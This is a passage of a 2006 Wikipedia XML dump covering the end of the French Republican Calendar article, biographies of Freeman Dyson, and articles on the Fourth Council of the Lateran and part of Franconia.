# [[snowdrop|Perce-neige]] (Snowdrop)
# [[bull|Taureau]] (Bull)
# [[Laurestinus|Laurier-thym]] (Laurestinus)
# [[Amadou]]vier (Tinder polypore)
# [[Mezerion tree|Mézéréon]] (Mezerion tree)
# [[poplar|Peuplier]] (Poplar Tree)
# [[axe|Coignée]] (Axe)
# [[Hellebore|Ellébore]] (Hellebore)
# [[broccoli|Brocoli]] (Broccoli)
# [[Laurel|Laurier]] (Laurel)
# [[swan|Avelinier]] (Cob or [[filbert]])
# [[cow|Vache]] (Cow)
# [[box (tree)|Buis]] (Box Tree)
# [[Lichen]] (Lichen)
# [[Taxus baccata|If]] (Yew tree)
# [[lung|Pulmonaire]] (Lung) 
# [[Billhook|Serpette]] (Billhook)
# [[Pennycress|Thlaspi]] (Pennycress)
# Thimele (?)
# [[couch grass|Chiendent]] (Couch Grass)
# [[Polygonum|Trainasse]] (Knotweed)
# [[hare|Lièvre]] (Hare)
# [[Woad|Guède]] (Woad)
# [[hazel|Noisetier]] (Hazel)
# [[Cyclamen]] (Cyclamen)
# [[Chelidonium|Chélidoine]] (Chelidonium)
# [[sleigh|Traîneau]] (Sleigh)

|
# Tussilage
# [[dogwood|Cornouiller]] (Dogwood)
# [[Matthiola|Violier]] (Matthiola)
# [[privet|Troène]] (Privet)
# [[goat|Bouc]] (Billygoat)
# [[Wild ginger|Asaret]] (Wild Ginger)
# [[Buckthorn|Alaterne]] (Buckthorn)
# [[violet (plant)|Violette]] (Violet Plant)
# Marceau (?)
# [[spade|Bêche]] (Spade)
# [[narcissus (flower)|Narcisse]] (Narcissus)
# [[elm|Orme]] (Elm Tree)
# [[Fumariaceae|Fumeterre]] (Common fumitory)
# [[hedge mustard|Vélar]] (Hedge Mustard)
# [[goat|Chèvre]] (Goat)
# [[spinach|Épinard]] (Spinach)
# [[Asteraceae|Doronic]] (Large-flowered leopard's bane)
# [[pimpernel|Mouron]] (Pimpernel)
# [[chervil|Cerfeuil]] (Chervil)
# [[twine|Cordeau]] (Twine)
# [[mandrake|Mandragore]] (Mandrake)
# [[parsley|Persil]] (Parsley)
# Cochiéaria (?)
# [[daisy|Pâquerette]] (Daisy)
# [[tuna|Thon]] (Tuna)
# [[dandelion|Pissenlit]] (Dandelion)
# [[forest|Sylve]] (Forest)
# [[Maidenhair fern|Capillaire]] (Maidenhair fern)
# [[ash tree|Frêne]] (Ash Tree)
# [[dibble|Plantoir]] (Dibble)
|}

=== Spring ===
{| class=&quot;wikitable&quot;
|- style=&quot;background:#ccf;&quot;
! [[Germinal (French Republican Calendar)|Germinal]] ([[March 21|Mar 21]] ~ [[April 19|Apr 19]])
! [[Floréal]] ([[April 20|Apr 20]] ~ [[May 19]])
! [[Prairial]] ([[May 20]] ~ [[June 18|Jun 18]])
|-
|
# [[Primula vulgaris|Primevère]] (Primrose)
# [[plane tree|Platane]] (Plane Tree)
# [[asparagus|Asperge]] (Asparagus)
# [[Tulip]]e (Tulip)
# [[hen|Poule]] (Hen)
# [[chard|Bette]] (Chard Plant)
# [[birch|Bouleau]] (Birch Tree)
# [[daffodil|Jonquille]] (Daffodil)
# [[alder|Aulne]] (Alder)
# [[hatchery|Couvoir]] (Hatchery)
# [[Periwinkle (plant)|Pervenche]] (Periwinkle)
# [[ironwood|Charme]] (Ironwood)
# [[morel|Morille]] (Morel)
# [[beech|Hêtre]] (Beech Tree)
# [[bee|Abeille]] (Bee)
# [[lettuce|Laitue]] (Lettuce)
# [[larch|Mélèze]] (Larch)
# [[conium|Ciguë]] (Conium)
# [[radish|Radis]] (Radish)
# [[hive|Ruche]] (Hive)
# Gainier (?)
# [[lettuce|Romaine]] (Lettuce)
# [[chestnut oak|Marronnier]] (Chestnut Oak)
# [[Arugula|Roquette]] (Arugula or Rocket)
# [[Pigeon]] (Pigeon)
# [[lilac|Lilas]] (Lilac)
# [[anemone|Anémone]] (Anemone)
# [[pansy|Pensée]] (Pansy)
# [[blueberry|Myrtille]] (Blueberry)
# [[Knife|Greffoir]] (Knife)

|
# [[Rose]] (Rose)
# [[oak|Chêne]] (Oak Tree)
# [[fern|Fougère]] (Fern)
# [[Crataegus|Aubépine]] (Hawthorn)
# [[nightingale|Rossignol]] (Nightingale)
# [[Columbine|Ancolie]] (Columbine)
# [[lily of the Valley|Muguet]] (Lily of the Valley)
# [[Button mushroom|Champignon]] (Button mushroom)
# [[hyacinth|Hyacinthe]] (Hyacinth)
# [[rake|Râteau]] (Rake)
# [[Rhubarb]]e (Rhubarb)
# [[Sainfoin]] (Sainfoin)
# [[Wallflower|Bâton-d'or]] (Wallflower)
# [[Arecaceae|Chamerops]] (Palm tree)
# [[silkworm|Ver à soie]] (Silkworm)
# [[Comfrey|Consoude]] (Comfrey)
# [[salad burnet|Pimprenelle]] (Salad Burnet)
# [[Alyssum|Corbeille d'or]] (Alyssum)
# [[orache|Arroche]] (Orache)
# [[Hoe|Sarcloir]] (Garden hoe)
# [[Sea lavender|Statice]] (Sea lavender)
# [[Fritillary|Fritillaire]] (Fritillary)
# [[Borage|Bourrache]] (Borage)
# [[Valerian (plant)|Valériane]] (Valerian)
# [[Carp]]e (Carp)
# [[spindle (shrub)|Fusain]] (Spindle Shrub)
# [[chive|Civette]] (Chive)
# [[Boraginaceae|Buglosse]] (Bugloss)
# [[Wild mustard|Sénevé]] (Wild mustard)
# [[trowel|Houlette]] (Trowel)

|
# [[alfalfa|Luzerne]] (Alfalfa)
# [[Daylily|Hémérocalle]] (Daylily)
# [[clover|Trèfle]] (Clover)
# [[angelica|Angélique]] (Angelica)
# [[duck|Canard]] (Duck)
# [[lemon balm|Mélisse]] (Lemon Balm)
# [[wheat|Fromental]] (Wheat)
# [[Lily|Martagon]] (Martagon lily)
# [[thyme|Serpolet]] (Thyme plant)
# [[scythe|Faux]] (Scythe)
# [[strawberry|Fraise]] (Strawberry)
# [[Woundwort|Bétoine]] (Woundwort)
# [[pea|Pois]] (Pea)
# [[Acacia]] (Acacia)
# [[quail|Caille]] (Quail)
# [[carnation|Oeillet]] (Carnation)
# [[elder tree|Sureau]] (Elder Tree)
# [[poppy|Pavot]] (Poppy plant)
# [[tilia|Tilleul]] (Linden or Lime tree)
# [[pitchfork|Fourche]] (Pitchfork)
# [[cornflower|Barbeau]] (Cornflower)
# [[camomile|Camomille]] (Camomile)
# [[honeysuckle|Chèvrefeuille]] (Honeysuckle)
# [[curds|caille-lait]] (Curds)
# [[tench|Tanche]] (Tench)
# [[jasmine|Jasmin]] (Jasmine Plant)
# [[verbena|Verveine]] (Verbena)
# [[thyme|Thym]] (Thyme Plant)
# [[peony|Pivoine]] (Peony Plant)
# [[handcart|Chariot]] (Hand Cart)
|}

===Summer===
{| class=&quot;wikitable&quot;
|- style=&quot;background:#ccf;&quot;
! [[Messidor]] ([[June 19|Jun 19]] ~ [[July 18|Jul 18]])
! [[Thermidor]] ([[July 19|Jul 19]] ~ [[August 17|Aug 17]])
! [[Fructidor]] ([[August 18|Aug 18]] ~ [[September 16|Sep 16]])
|-
|
# [[Rye|Seigle]] (Rye)
# [[Oat|Avoine]] (Oats)
# [[Onion|Oignon]] (Onion)
# [[Speedwell|Véronique]] (Speedwell)
# [[Mule|Mulet]] (Mule)
# [[Rosemary|Romarin]] (Rosemary)
# [[Cucumber|Concombre]] (Cucumber)
# [[Shallot|Echalote]]  (Shallot)
# [[wormwood|Absinthe]] (Wormwood)
# [[Sickle|Faucille]] (Sickle)
# [[Coriander|Coriandre]] (Coriander)
# [[Artichoke|Artichaut]] (Artichoke)
# [[Clove|Girofle]] (Clove)
# [[Lavender|Lavande]] (Lavender)
# [[Chamois]] (Chamois)
# [[Tobacco|Tabac]] (Tobacco)
# [[Redcurrant|Groseille]] (Currant)
# [[Lathyrus|Gesse]] (Hairy vetchling)
# [[Cherry|Cerise]] (Cherry)
# [[Park|Parc]] (Park)
# [[Mint|Menthe]] (Mint)
# [[Cumin|Cumin]] (Cumin)
# [[Bean|Haricot]] (Bean)
# [[Alkanet|Orcanète]] (Alkanet)
# [[Guinea fowl|Pintade]] (Guinea fowl)
# [[Sage|Sauge]] (Sage Plant)
# [[Garlic|Ail]] (Garlic)
# [[Vicia sativa|Vesce]] (Tare)
# [[Wheat|Blé]] (Wheat)
# [[Chalemie|Chalémie]] (Chalemie)

|
# [[german wheat|Epeautre]] (German Wheat)
# [[Common mullein|Bouillon blanc]] (Common Mullein)
# [[Melon]] (Honeydew Melon) 
# [[ryegrass|Ivraie]] (Ryegrass)
# [[Ram|Bélier]] (Ram)
# [[Horsetail|Prêle]] (Horsetail)
# [[mugwort|Armoise]] (Mugwort)
# [[Safflower|Carthame]] (Safflower)
# [[Blackberry|Mûre]] (Blackberry)
# [[Watering can|Arrosoir]] (Watering Can)
# [[Bread|Panis]] (Bread)
# [[Glasswort|Salicorne]] (Common Glasswort)
# [[Apricot|Abricot]] (Apricot)
# [[Basil|Basilic]] (Basil) 
# [[sheep|Brebis]] (Ewe)
# [[Althaea officinalis|Guimauve]] (Marshmallow root)
# [[flax|Lin]] (Flax)
# [[almond|Amande]] (Almond)
# [[Gentian]]e (Gentian)
# [[Lock|Ecluse]] (Lock)
# [[Carline thistle|Carline]] (Carline thistle)
# [[Caper|Câprier]] (Caper)
# [[Lentil|Lentille]] (Lentil)
# [[Asteraceae|Aunée]] (Yellow starwort)
# [[otter|Loutre]] (Otter)
# [[myrtle|Myrte]] (Myrtle)
# [[Alfalfa|Colza]] (Alfalfa)
# [[Lupin]] (Lupine)
# [[Cotton|Coton]] (Cotton)
# [[Mill (grinding)|Moulin]] (Mill)

|
# [[Plum|Prune]] (Plum)
# [[Millet]] (Millet)
# [[Puffball|Lycoperdon]] (Puffball)
# [[barley|Escourgeon]] (Barley)
# [[Salmon|Saumon]] (Salmon)
# [[tuberose|Tubéreuse]] (Tuberose)
# [[melon|Sucrion]] (Sugar melon)
# [[Apocynaceae|Apocyn]] (Apocynum)
# [[liquorice|Réglisse]] (Liquorice)
# [[stepladder|Echelle]] (Stepladder)
# [[watermelon|Pastèque]] (Watermelon)
# [[fennel|Fenouil]] (Fennel)
# [[barberry|Epine vinette]] (Barberry)
# [[walnut|Noix]] (Walnut)
# [[trout|Truite]] (Trout)
# [[lemon|Citron]] (Lemon)
# [[Dipsacus|Cardère]] (Teasel)
# [[buckthorn|Nerprun]] (Buckthorn)
# [[Tagetes|Tagette]] (Mexican Marigold)
# [[sack|Hotte]] (Sack)
# [[wild rose|Eglantine]] (Wild Rose)
# [[hazelnut|Noisette]] (Hazelnut)
# [[hop (plant)|Houblon]] (Hops)
# [[sorghum|Sorgho]] (Sorghum)
# [[crayfish|Ecrevisse]] (Crayfish)
# [[Bitter orange|Bigarade]] (Bitter Orange)
# [[goldenrod|Verge d'or]] (Goldenrod)
# [[maize|Maïs]] (Maize or Corn)
# [[chestnut|Marron]] (Chestnut)
# [[basket|Panier]] (Basket)
|}

== Extra days ==
Five extra days (six in [[leap year]]s) were national holidays at the end of every year. These were originally known as ''les sans-culottides'' (after ''[[sans-culottes]]''), but after year III (1795) as ''les jours complémentaires'':

*[[La Fête de la Vertu]] &quot;Virtue Day&quot; on [[September 17|Sept 17]] or 18
*[[La Fête du Génie]] &quot;Talent Day&quot; on [[September 18|Sept 18]] or 19
*[[La Fête du Travail]] &quot;Labor Day&quot; on [[September 19|Sept 19]] or 20
*[[La Fête de l'Opinion]] &quot;Opinion Day&quot; on [[September 20|Sept 20]] or 21
*[[La Fête des Récompenses]] &quot;Rewards Day&quot; on [[September 21|Sept 21]] or 22
*[[La Fête de la Révolution]] &quot;Revolution Day&quot; on [[September 22|Sept 22]] or 23 (Leap years)

== Converting to Gregorian Calendar ==

The calendar was abolished in the year XIV (1805).  After this date, opinions seem to differ on the method by which the leap years would have determined if the calendar were still in force. There are several hypotheses used to convert dates to the Gregorian calendar, of which these three seem to be the most significant:

* The leap years would continue to vary in order to ensure that each year the autumnal equinox falls on 1 Vendémiaire, as was the case from year I to year XIV.
* The leap year would have jumped after year 15 to year 20, after which a leap year would have fallen on each year divisible by four (thus in 20, 24, 28...), except most century years, according to Romme's proposed fixed rules. This would have simplified conversions between the Republican and Gregorian calendars since the Republican leap day would usually follow a few months after [[29 February]], at the end of each year divisible by four.
* The leap years would have continued in a fixed rule every four years from the last one (thus years 15, 19, 23, 27...) with the leap day added before each year divisible by four, except most century years.

Below are the Gregorian calendar dates several Republican years begin according to these methods:
{| class=&quot;wikitable&quot;
|- style=&quot;background:#ccf;&quot;
! Year
! Equinox
! Romme Fixed
! Continuous Fixed
|-
|
CCXIV (214)
|
[[September 22]] [[2005]]*
|
[[September 22]] [[2005]]
|
[[September 22]] [[2005]]
|-
|
CCXV (215)
|
[[September 23]] [[2006]]
|
[[September 22]] [[2006]]
|
[[September 22]] [[2006]]*
|-
|
CCXVI (216)
|
[[September 23]] [[2007]]
|
[[September 22]] [[2007]]*
|
[[September 23]] [[2007]]
|-
|
CCXVII (217)
|
[[September 22]] [[2008]]
|
[[September 22]] [[2008]]
|
[[September 22]] [[2008]]
|-
|
CCXVIII (218)
|
[[September 22]] [[2009]]*
|
[[September 22]] [[2009]]
|
[[September 22]] [[2009]]
|}* Leap year, extra day added at end of year

== The French Republican calendar in fiction ==
The [[shared world]] of [[Liavek]] uses a calendar which is a simple adaptation of the French Republican calendar. It consists of twelve months of 30 days, called Snow, Rain, Wind, Buds, Flowers, Meadows, Reaping, Heat, Fruit, Wine, Fog and Frost. The year begins at the winter solstice, with five days of festival (Festival Week). Every four years is the Grand Festival, which lasts an extra day. There are six weeks of five days: Sunday, Moonday, Windday, Rainday, and Luckday.

==See also==
* [[Decimal Time]]

==External links==
{{Commonscat|French Republican Calendar}}
* [http://prairial.free.fr/calendrier/sommaire.html Summary of the Republican Calendar] (''fr es en eo pt de nl'')
* [http://www.calendarhome.com/converter Date converter for numerous calendars, including this one]
* [http://prairial.free.fr/calendrier/discoursromme.html Leap Year Proposal by Romme]
* [http://www.antiquorum.com/html/vox/vox2004/revolutionary.htm Antique Decimal Watches] 
* [http://www.antique-horology.org/_Editorial/RepublicanCalendar/default.htm Dials &amp; Symbols of the French revolution. The Republican Calendar and Decimal time.]

[[Category:French Republican Calendar|*]]
[[Category:Specific calendars]]

[[ca:Calendari republicà francès]]
[[da:Den franske republikanske kalender]]
[[de:Französischer Revolutionskalender]]
[[eo:Franca respublika kalendaro]]
[[es:Calendario republicano francés]]
[[fi:Vallankumouskalenteri]]
[[fr:Calendrier républicain]]
[[he:לוח השנה המהפכני בצרפת]]
[[hu:Francia forradalmi naptár]]
[[io:Revoluciona kalendario]]
[[it:Calendario rivoluzionario francese]]
[[ja:フランス革命暦]]
[[lt:Prancūzų revoliucinis kalendorius]]
[[nl:Franse Republikeinse Kalender]]
[[pl:Francuski kalendarz rewolucyjny]]
[[pt:Calendário Revolucionário Francês]]
[[ru:Французский республиканский календарь]]
[[sv:Franska revolutionskalendern]]
[[uk:Французький революційний календар]]
[[wa:Calindrî republikin]]
[[zh:共和曆]]</text>
    </revision>
  </page>
  <page>
    <title>Freeman Dyson</title>
    <id>11397</id>
    <revision>
      <id>41688101</id>
      <timestamp>2006-03-01T01:49:25Z</timestamp>
      <contributor>
        <username>WAREL</username>
        <id>950501</id>
      </contributor>
      <comment>correction</comment>
      <text xml:space="preserve">[[Image:Freeman_Dyson.jpg|thumb|Freeman Dyson in San Francisco in 2005 (Photo: Jacob Appelbaum) ]]

'''Freeman John Dyson''' (born [[December 15]], [[1923]]) is an [[England|English]]-born [[USA|American]] [[physicist]] and [[mathematician]], famous for his work in quantum mechanics,  [[nuclear weapons]] design and policy, and for his serious theorizing in [[futurism]] and [[science fiction]] concepts, including the [[SETI|search for extraterrestrial intelligence]].

== Career ==
Dyson worked as an analyst for [[British Bomber Command]] during [[World War II]]. After the war, he obtained a degree in mathematics from [[University of Cambridge|Cambridge University]] ([[1945]]) and was a Fellow at [[Trinity College, Cambridge]] from [[1946]] to [[1949]]. In [[1947]] he moved to the US, on a fellowship at [[Cornell University]] and then joined the faculty there as a physics professor in [[1951]]. In [[1953]], he took up a post at the [[Institute for Advanced Study]] in [[Princeton, NJ]]. In [[1957]], he became a [[naturalized citizen]] of the [[United States]].

In the years following the war, Dyson was responsible for demonstrating the equivalence of the two formulations of [[quantum electrodynamics]] which existed at the time - [[Richard Feynman]]'s [[path integral formulation]] and the [[variational methods]] developed by [[Julian Schwinger]] and [[Sin-Itiro Tomonaga]] ([[Dyson operator]]). 

From [[1957]] to [[1961]] he worked on the [[Project Orion|Orion Project]], which proposed the possibility of space-flight using [[nuclear propulsion]]. A prototype was demonstrated using conventional [[explosives]], but a [[Partial Test Ban Treaty|treaty]] banning the use of nuclear weapons in space caused the project to be abandoned.

In [[1977]], Dyson supervised Princeton undergraduate [[John Aristotle Phillips]] in a term paper that outlined a credible design for a nuclear weapon. This earned Phillips the nickname ''The A-Bomb Kid''.

Dyson has published a number of collections of speculations and observations about technology, science, and the future:

* ''The Sun, The Genome and The Internet''
* ''Imagined Worlds''
* ''From Eros to Gaia''
* ''Disturbing the Universe''

Dyson was awarded the [[Max Planck medal]] in [[1969]]. In the 1984&amp;ndash;85 academic year he gave the [[Gifford lectures]] at [[University of Aberdeen|Aberdeen]], which resulted in the book ''[[Infinite In All Directions]]''.  

In [[1998]], Dyson joined the board of the [[Solar Electric Light Fund]]. In [[2000]], Dyson was awarded the [[Templeton Prize]] for Progress in Religion.

[[As of 2003]], Dyson is the president of the [[Space Studies Institute]], the space research organization founded by [[Gerard K. O'Neill]].

Dyson was a long time member of the [[JASON]] defense advisory group.

=== Concepts ===
==== Dyson sphere ====
''Main article:'' [[Dyson sphere]]

In [[1960]] Dyson wrote a short paper for the journal [[Science (journal)|Science]], entitled &quot;Search for Artificial Stellar Sources of Infra-Red Radiation&quot;. In it, he theorized that a technologically advanced [[society]] might completely surround its native star in order to maximize the capture of the star's available energy. Eventually, the civilization would completely enclose the star, intercepting [[electromagnetic radiation]] with wavelengths from visible light downwards and radiating waste heat outwards as [[infrared]] radiation. Therefore, one method of [[SETI|searching for extraterrestrial civilisations]] would be to look for large objects radiating in the infrared range of the [[electromagnetic spectrum]].

Dyson conceived that such structures would be clouds of [[asteroid]]-sized [[space habitat]]s, though [[science fiction]] writers have preferred a solid structure: either way, such an artifact is often referred to as a [[Dyson sphere]], although Dyson himself used the term &quot;shell&quot;. Dyson says (20 minutes into [http://video.google.com/videoplay?docid=350379535220823176&amp;q=genome a video]) that he used the word &quot;artificial biosphere&quot; in the article meaning a habitat, not a shape.  Imaginitive science fiction writers (specifically [[Olaf Stapleton]]) then expanded on what Dyson says was really his humor tacked on at the end of the article.  Dyson says it should really be called the Stapleton Sphere.  One of the most famous science fiction examples was illustrated in an episode of ''[[Star Trek: The Next Generation]]'', in which retired Engineer [[Scotty]] (from the original ''[[Star Trek: The Original Series|Star Trek]]'') was found to have crash-landed on an abandoned Dyson sphere. [[Larry Niven]]'s novel ''[[Ringworld]]'' was based on Dyson's concept, and was a scientifically detailed attempt to visualize a much simpler structure.

==== Dyson tree ====
''Main article:'' [[Dyson tree]]

Dyson has also proposed the creation of a ''Dyson tree'', a [[genetic engineering|genetically-engineered]] plant capable of growing on a [[comet]]. He suggested that comets could be engineered to contain hollow spaces filled with a breathable atmosphere, thus providing self-sustaining habitats for humanity in the outer [[solar system]].

====Dyson's transform====

Dyson also has some credits in [[Elementary number theory]]. His concept &quot;Dyson's transform&quot; lead one of the most important [[lemma]]s of  [[Olivier Ramaré]]'s theorem that every integer is a sum of at most six primes.

== Personal ==
He has six children.  One daughter is [[Esther Dyson]], the noted digital technology consultant.  His son is the historian of technology [[George Dyson (science historian)|George Dyson]], one of whose books is ''Project Orion: The Atomic Spaceship 1957-1965''. His wife, Imme Dyson, is an accomplished masters runner. Dyson's father was the renowned English composer [[George Dyson (composer)|George Dyson]]. Despite sharing a last name, he is not related to early 20th-century astronomer [[Frank Watson Dyson]]. However, as a small boy, Freeman Dyson was aware of Frank Watson Dyson; Freeman credits the popularity of someone with the same last name with inadvertently helping to spark Freeman's interest in [[science]]. Dyson received a Sc.D. from [[Bates College]] in 1990.

==See also==
*[[A.I. Shlyakhter]]
*[[Dyson's eternal intelligence]]
*[[Astrochicken]]
*[[Dyson sphere]]

==External links==
{{wikiquote}}
*[http://www.sns.ias.edu/~dyson/ Freeman J. Dyson's homepage]
*[http://www.edge.org/3rd_culture/bios/dysonf.html Freeman Dyson Biography]
*[http://www.wired.com/wired/6.02/dyson.html Wired magazine interview: Freeman Dyson's Brain ]
*[http://video.google.com/videoplay?docid=350379535220823176&amp;q=genome A google video: interviewer: Robert Wright editor: Greg Dingle ]
*[http://www.radiophiles.org listen to a Freeman Dyson interview on Radiophiles.org ]
*[http://www.npr.org/rundowns/segment.php?wfId=4139566 audio of NPR interview with Freeman Dyson]
*[http://splorg.org:8080/lectures/dyson.html Freeman Dyson: Gravity is Cool, or, Why our Universe is Hospitable to Life] - text of the Oppenheimer lecture March 9, 2000
*[http://www.bbc.co.uk/bbcfour/audiointerviews/profilepages/dysonf1.shtml Disturbing the Universe: Interview with Freeman Dyson]
* [http://news.bbc.co.uk/1/hi/sci/tech/740688.stm Freeman Dyson wins $1m religion prize]
* [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&amp;cmd=search&amp;term=Dyson+F Freeman Dysons scientific publications] from [[PubMed]]
* [http://www.itconversations.com/shows/detail170.html In Praise of Open Thinking, audio from a panel discussion with his son George on ITConversations.com]
* {{MacTutor Biography|id=Dyson}}

[[Category:1923 births|Dyson, Freeman]]
[[Category:Living people|Dyson, Freeman]]
[[Category:20th century mathematicians|Dyson, Freeman]]
[[Category:American mathematicians|Dyson, Freeman]]
[[Category:American physicists|Dyson, Freeman]]
[[Category:Christians in science|Dyson]]
[[Category:English mathematicians|Dyson, Freeman]]
[[Category:English physicists|Dyson, Freeman]]
[[Category:Naturalized citizens of the United States|Dyson, Freeman]]
[[Category:Old Wykehamists|Dyson, Freeman]]
[[Category:Space advocacy|Dyson, Freeman]]
[[Category:Members and associates of the US National Academy of Sciences|Dyson, Freeman]]


[[de:Freeman Dyson]]
[[es:Freeman Dyson]]
[[it:Freeman Dyson]]
[[ja:フリーマン・ダイソン]]
[[ko:프리먼 다이슨]]
[[pl:Freeman Dyson]]
[[sl:Freeman John Dyson]]
[[zh:弗里曼·戴森]]</text>
    </revision>
  </page>
  <page>
    <title>Fourth Council of the Lateran</title>
    <id>11399</id>
    <revision>
      <id>37056461</id>
      <timestamp>2006-01-28T07:26:30Z</timestamp>
      <contributor>
        <ip>213.230.129.21</ip>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;400&quot;
|-
| colspan=&quot;2&quot; bgcolor=&quot;lightgreen&quot; style=&quot;font-size:120%&quot; align=&quot;center&quot;|'''''Fourth Council of the Lateran'''''
|-
|Date
|[[1215]]
|-
|Accepted by
|[[Catholicism]]
|-
|Previous Council||[[Third Council of the Lateran]]
|-
|Next Council
|[[First Council of Lyons]]
|-
|Convoked by||[[Pope Innocent III]]
|-
|Presided by||[[Pope Innocent III]]
|-
|Attendance||71 [[patriarch]]s and metropolitans, 412 [[bishop]]s, 900 [[abbot]]s and priors
|-
|Topics of discussion||[[Crusader States]], [[Investiture Controversy]]
|-
|Documents and statements||seventy papal decrees, [[transubstantiation]], papal primacy, conduct of clergy, [[confession]] at least once a year, [[Fifth Crusade]]
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Ecumenical council|chronological list of Ecumenical councils]]
|}

The '''Fourth Council of the Lateran''' was summoned by [[Pope Innocent III]] with his Bull of [[April 19]], [[1213]]. The assembly took place in November, [[1215]]. It was the 12th [[ecumenical council]] and is sometimes called &quot;the General Council of Lateran&quot; due to the attendance by seventy-one [[patriarch]]s and metropolitans, four hundred and twelve [[bishop]]s, and nine hundred [[abbot]]s and priors. 

Innocent III stated his purposes as the defence of the Catholic faith, for the aid to the [[Crusader State]]s in [[Palestine (region)|Palestine]], and to establish the liberty of the Church from [[Investiture Controversy|lay investiture]] and other lay interference. The pope presented to the council seventy decrees; these were considered along with measures against [[heresy|heretics]], and the organisation of the [[Fifth Crusade]]. 

The council did little more than rubber-stamp the decrees presented to them. The decrees included: 

*Exposition of the faith and of the dogma of [[transubstantiation]]
*Procedure and penalties against heretics and their protectors
*Proclamation of the papal primacy - After the pope, primacy is attributed to the patriarchial sees in the following order: 
**[[Patriarch of Constantinople|Constantinople]] (at this time there was a [[Latin Patriarch of Constantinople|Latin Patriarch]])
**[[Patriarch of Alexandria|Alexandria]] 
**[[Patriarch of Antioch|Antioch]]
**[[Patriarch of Jerusalem|Jerusalem]]
*Rules on the conduct of the clergy including against irregularities such as: 
**incontinence or non-celibate living
**drunkenness
**hunting
**attendance at farces and histrionic exhibitions
**performing of surgical operations
**conducting trials by [[trial by ordeal|ordeal]] or [[trial by combat|combat]]
*the ''Omnis utriusque sexus'' (also called the Easter Duty), which commands every Christian who has reached the years of discretion to confess all their sins at least once a year to their priest
*[[Jew]]s and [[Muslim]]s shall wear a special dress to enable them to be distinguished from Christians (see [[Judenhut]], [[yellow badge]]).

The council also confirmed the elevation of [[Frederick II, Holy Roman Emperor|Frederick II]] to the position of Holy Roman Emperor.

==See also==
* [[Ecumenical council]]

==External links==
*[http://www.fordham.edu/halsall/basis/lateran4.html Canons of the Fourth Lateran Council, 1215]
*[http://www.newadvent.org/cathen/09018a.htm Catholic Encyclopedia: Fourth Lateran Council (1215)]

[[Category:1215]]
[[Category:Roman Catholic Church Councils|Lateran 4]]

[[cs:4. lateránský koncil]]
[[de:Viertes Laterankonzil]]
[[fr:IVe concile œcuménique du Latran]]
[[it:IV concilio lateranense]]
[[nl:Concilies van Lateranen]]
[[ru:Двенадцатый вселенский собор]]</text>
    </revision>
  </page>
  <page>
    <title>Franconia</title>
    <id>11401</id>
    <revision>
      <id>40431940</id>
      <timestamp>2006-02-20T14:30:12Z</timestamp>
      <contributor>
        <ip>212.144.143.5</ip>
      </contributor>
      <comment>state colours re-added --~~~~--~~~~</comment>
      <text xml:space="preserve">:''For other places named '''Franconia''', see [[Franconia (disambiguation)]].''

[[Image:Frankenrechen.jpg|thumb|200px|The 'Franconian Rake' is originally is a heraldic symbol of the bishops of [[Würzburg]], who - though nominally [[Duke]]s of Franconia - only ruled in parts of Franconia. The rake appears in emblems of many Franconian cities, which were ruled by the bishops. It was only the Bavarian King [[Ludwig I of Bavaria|Louis I]], who made the rake a symbol for entire Franconia by adding it to the royal coat of arms in 1835 representing the king's rule in Franconia as a whole.]]
'''Franconia''' ([[German language|German]]: ''Franken''), a historic region in [[Germany]], now forms three administrative districts of the [[States of Germany|state]] of [[Bavaria]]: [[Lower Franconia]] (''Unterfranken''), [[Middle Franconia]] (''Mittelfranken''), and [[Upper Franconia]] (''Oberfranken''). The ancient name was resurrected in [[1837]] by [[Ludwig I of Bavaria|Ludwig I, King of Bavaria]].
 
Though its area has shifted, Franconia was one of the five original [[stem duchy|stem duchies]] that eventually made up the [[Holy Roman Empire]]. Franconia, east of the [[Rhine]] (with the cities of [[Mainz]], [[Speyer]] and [[Worms, Germany|Worms]] on the west bank), was part of the Eastern Frankish kingdom, [[Austrasia]]. At the failure of the direct Carolingian male line in [[911]], [[Conrad of Franconia|Conrad, Duke of Franconia]] was acclaimed [[List of German Kings and Emperors|King of the Germans]] but failed to establish an heir in the imperial title. Instead, the Emperor [[Otto I]] crushed the rebellion of Conrad's brother, [[Eberhard of Franconia|Duke Eberhard]]; then, rather than appoint a new duke from his own circle, in [[939]] Otto divided the threatening power of the Duchy of Franconia among the great ecclesiastics with and through whom he ruled, who had remained faithful to his cause: the [[Bishop]] of [[Würzburg]], and the [[Abbot]] of [[Fulda]]; they were later joined ([[1008]]) by a new bishopric erected on former ducal territory, [[Bamberg]]. The great abbeys and episcopal seats that [[Boniface]] and his successors had established in southwestern Germany had a monopoly on literacy and were territorial magnates in Franconia on a par with the counts of lands farther west (Cantor 1993). They had another virtue in the Ottonian scheme: as celibates they were less likely to establish hereditary lineages. By contrast, Otto's son-in-law, Conrad the Red, whom he had installed as duke of Lorraine ([[944]]-[[955]]), extended his power base in Franconia, establishing the [[Salian]] dynasty of the following century.

Two Franconian duchies emerged, at least on paper, Rhenish Franconia along the Rhine, and Eastern Franconia.  

'''Rhenish Franconia''' (''Rheinfranken''), which gave the empire the Franconian or [[Salian]] dynasty of Emperors ([[1024]]&amp;ndash;[[1125]]; [[Conrad II]], [[Henry III, Holy Roman Emperor|Henry III]], [[Henry IV, Holy Roman Emperor|Henry IV]] and [[Henry V, Holy Roman Emperor|Henry V]]), was virtually an empty title held by the Ottonian emperors until [[1024]], when Conrad, the Salian count of Speyer and of Worms, became emperor. Rhenish Franconia's lands were actually governed in a constellation of [[free cities]] (like [[Frankfurt am Main|Frankfurt]] and Worms), bishoprics (Mainz, Speyer and Worms), the Rhenish [[Palatinate]], [[Hesse]] and many smaller territories. The Salian Franconian territories were granted as a [[fief]] in [[1093]] to the [[count palatine]] at [[Aachen]], a territory that would evolve into the important German principality of the Rhenish [[Palatinate]]. In this way the Rhenish Franconia was divided and extinguished. 

In [[1115]] Emperor Henry V awarded the territory of '''Eastern Franconia''' (''Ostfranken'') to his nephew [[Conrad III of Germany|Conrad of Hohenstaufen]], who used the title &quot;Duke of Franconia&quot;; as the [[Hohenstaufen]] were increasingly preoccupied in Sicily, however, it came increasingly under the control of the bishops of Würzburg, whose rights were formalized in [[1168]]. The name &quot;Franconia&quot; fell out of usage, but the Bishop of [[Würzburg]] revived it in his own favour in [[1442]] and held it until [[Napoleon]]'s reforms.

